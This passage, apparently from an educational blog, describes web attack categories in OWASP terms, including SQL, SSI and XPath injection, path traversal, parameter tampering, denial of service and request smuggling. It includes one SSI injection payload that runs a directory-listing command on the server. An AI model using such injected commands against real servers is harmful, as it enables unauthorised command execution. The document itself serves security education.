Manipulation&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&amp;nbsp;attack.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Server-Side
Includes (SSI) Injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The
Server-Side Includes attack allows the exploitation of a web application by
injecting scripts in HTML pages or executing arbitrary codes remotely. It can
be exploited through manipulation of SSI in use in the application or force its
use through user input fields.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;In any
case, the attack will be successful only if the web server permits SSI
execution without proper validation. This can lead to access and manipulation
of file system and process under the permission of the web server process
owner.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Example
( showing the SSI code on the server side) :&amp;nbsp;&lt;b&gt;Windows:&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;List files of directory:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; border: dashed #2F6FAB 1.0pt; mso-border-alt: dashed #2F6FAB .75pt; mso-element: para-border-div; padding: 12.0pt 12.0pt 12.0pt 12.0pt;&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; border: none; line-height: 15.6pt; margin-bottom: .0001pt; margin-bottom: 0in; mso-border-alt: dashed #2F6FAB .75pt; mso-padding-alt: 12.0pt 12.0pt 12.0pt 12.0pt; padding: 0in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&amp;lt;&amp;nbsp;!--#exec cmd=&quot;dir&quot; --&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Special Element
Injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Special Element
Injection is a type of injection attack that exploits a weakness related to
reserved words and special characters.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Every programming
language and operating system has special characters considered as reserved
words for it. However, when an application receives such data as user input, it
is possible to observe unexpected behavior in the application when parsing this
information. This can lead to information disclosure, access control and
authorization bypass, code injection, and many other variants.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;According to the
characters used, the Special Element Injection attack can be performed using
macro symbols, parameter delimiter and null characters/null bytes, among
others.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;b&gt;&lt;i&gt;&lt;u&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Parameter Delimiter is
another variant of Special Element Injection.&amp;nbsp;&lt;/span&gt;&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



SQL Injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;A&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/SQL_injection&quot; title=&quot;SQL injection&quot;&gt;&lt;span style=&quot;background-color: white; color: #0b0080;&quot;&gt;SQL injection&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&amp;nbsp;attack consists of insertion or
&quot;injection&quot; of a SQL query via the input data from the client to the
application. A successful SQL injection exploit can read sensitive data from
the database, modify database data (Insert/Update/Delete), execute
administration operations on the database (such as shutdown the DBMS), recover
the content of a given file present on the DBMS file system and in some cases
issue commands to the operating system. SQL injection attacks are a type
of&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2007-Injection_Flaws&quot; title=&quot;Top 10 2007-Injection Flaws&quot;&gt;&lt;span style=&quot;background-color: white; color: #0b0080;&quot;&gt;injection
attack&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white;&quot;&gt;, in which SQL commands are
injected into data-plane input in order to effect the execution of predefined
SQL commands.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h4&gt;



Threat Modeling&lt;o:p&gt;&lt;/o:p&gt;&lt;/h4&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;SQL injection attacks allow
     attackers to spoof identity, tamper with existing data, cause repudiation
     issues such as voiding transactions or changing balances, allow the
     complete disclosure of all data on the system, destroy the data or make it
     otherwise unavailable, and become administrators of the database server.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;SQL Injection is very common
     with PHP and ASP applications due to the prevalence of older functional
     interfaces. Due to the nature of programmatic interfaces available, J2EE
     and ASP.NET applications are less likely to have easily exploited SQL
     injections.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; line-height: 14.25pt; margin-bottom: 1.2pt;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The severity of SQL Injection
     attacks is limited by the attacker’s skill and imagination, and to a
     lesser extent, defense in depth countermeasures, such as low privilege
     connections to the database server and so on. In general, consider SQL
     Injection a high impact severity.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Web Parameter
Tampering&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The Web Parameter
Tampering attack is based on the manipulation of parameters exchanged between
client and server in order to modify application data, such as user credentials
and permissions, price and quantity of products, etc. Usually, this information
is stored in cookies, hidden form fields, or URL Query Strings, and is used to
increase application functionality and control.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This attack can be
performed by a malicious user who wants to exploit the application for their
own benefit, or an attacker who wishes to attack a third-person using a&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Man-in-the-middle_attack&quot; title=&quot;Man-in-the-middle attack&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;Man-in-the-middle
attack&lt;/span&gt;&lt;/a&gt;. In both cases, tools likes Webscarab and Paros proxy are
mostly used.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The attack success
depends on integrity and logic validation mechanism errors, and its
exploitation can result in other consequences including&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&quot; title=&quot;Cross-site Scripting (XSS)&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;XSS&lt;/span&gt;&lt;/a&gt;,&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/SQL_Injection&quot; title=&quot;SQL Injection&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;SQL Injection&lt;/span&gt;&lt;/a&gt;, file inclusion, and path
disclosure attacks.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



XPATH Injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Similar
to&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/SQL_Injection&quot; title=&quot;SQL Injection&quot;&gt;&lt;span style=&quot;background-color: white; color: #0b0080;&quot;&gt;SQL Injection&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white;&quot;&gt;, XPath Injection attacks occur when a web site uses
user-supplied information to construct an XPath query for XML data. By sending
intentionally malformed information into the web site, an attacker can find out
how the XML data is structured, or access data that he may not normally have
access to. He may even be able to elevate his privileges on the web site if the
XML data is being used for authentication (such as an XML based user file).&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Because
there is no level access control it&#39;s possible to get the entire document. We
won&#39;t encounter any limitations as we may know from SQL injection attacks.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Path
Traversal Attack&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This
category of attacks exploit various&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Category:Path_Vulnerability&quot; title=&quot;Category:Path Vulnerability&quot;&gt;&lt;span style=&quot;background-color: white; color: #0b0080;&quot;&gt;path
vulnerabilities&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&amp;nbsp;to access files
or directories that are not intended to be accessed. This attack works on
applications that take user input and use it in a &quot;path&quot; that is used
to access a filesystem. If the attacker includes special characters that modify
the meaning of the path, the application will misbehave and may allow the
attacker to access unauthorized resources. This type of attack has been
successful on web servers, application servers, and custom code.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Path
Traversal&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;A Path
Traversal attack aims to access files and directories that are stored outside
the web root folder. By browsing the application, the attacker looks for
absolute links to files stored on the web server. By manipulating variables
that reference files with “dot-dot-slash (../)” sequences and its variations,
it may be possible to access arbitrary files and directories stored on file
system, including application source code, configuration and critical system
files, limited by system operational access control. The attacker uses “../”
sequences to move up to root directory, thus permitting navigation through the
file system.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



&lt;span style=&quot;background-color: white;&quot;&gt;Probabilistic
Techniques&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Brute force attack&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&amp;nbsp;the attacker is
trying to bypass security mechanisms while having minimal knowledge about them.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Brute-force attacks are
mainly used for guessing passwords and bypassing access control. Very often the
target of an attack are data in forms (GET/POST) and users&#39; Session-IDs.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Cash Overflow&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;A Cash Overflow attack
is a&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Denial_of_Service&quot; title=&quot;Denial of Service&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;Denial of Service&lt;/span&gt;&lt;/a&gt;&amp;nbsp;attack
specifically aimed at exceeding the hosting costs for a cloud application,
either essentially bankrupting the service owner or exceeding the application
cost limits leading the Cloud Service Provider disabling the application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Cryptanalysis&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Cryptanalysis is a
process of finding weaknesses in cryptographic algorithms and using these
weaknesses to decipher the ciphertext without knowing the secret key (instance
deduction). Sometimes the weakness is not in the cryptographic algorithm
itself, but rather in how it is applied that makes cryptanalysis successful&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;An attacker may have other goals as well, such
as:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 1.2pt; margin-left: 0.25in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Wingdings; font-size: 10pt;&quot;&gt;§&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Total Break - Finding the secret key.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 1.2pt; margin-left: 0.25in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Wingdings; font-size: 10pt;&quot;&gt;§&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Gobal Deduction - Finding a functionally
equivalent algorithm for encryption and decryption that does not require
knowledge of the secret key.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 1.2pt; margin-left: 0.25in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Wingdings; font-size: 10pt;&quot;&gt;§&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Information Deduction - Gaining some information
about plaintexts or ciphertexts that was not previously known.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 1.2pt; margin-left: 0.25in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Wingdings; font-size: 10pt;&quot;&gt;§&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Distinguishing Algorithm - The attacker has the
ability to distinguish the output of the encryption (ciphertext) from a random
permutation of bits.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;



Denial of Service&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The
Denial of Service (DoS) attack is focused on making unavailable a resource
(site, application, server) for the purpose it was designed. There are many
ways to make a service unavailable for legitimate users by manipulating network
packets, programming, logical, or resources handling vulnerabilities, among
others.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: .05in; mso-outline-level: 3;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;DoS User Specified
Object Allocation&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;result: Out of memory.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: .05in; mso-outline-level: 3;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;DoS User Input as a Loop
Counter&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;result:unnecessary
execution&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: .05in; mso-outline-level: 3;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;DoS Storing too Much
Data in Session&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: .05in; mso-outline-level: 3;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;DoS Locking Customer
Accounts&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: .05in; mso-outline-level: 3;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;DoS Failure to Release
Resources&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: .05in; mso-outline-level: 3;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;DoS Buffer Overflows&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Protocol
Manipulation&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;


HTTP Request Smuggling&lt;/h4&gt;
&lt;/div&gt;
&lt;h3&gt;


&lt;o:p&gt;&lt;/o:p&gt;&lt;/h3&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;To exploit the HTTP
Request Smuggling, some specific conditions must exist, such as the presence of
specific proxy system and version such as SunOne Proxy 3.6 (SP4) or
FW-1/FP4-R55W beta or an XSS vulnerability in the web server.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
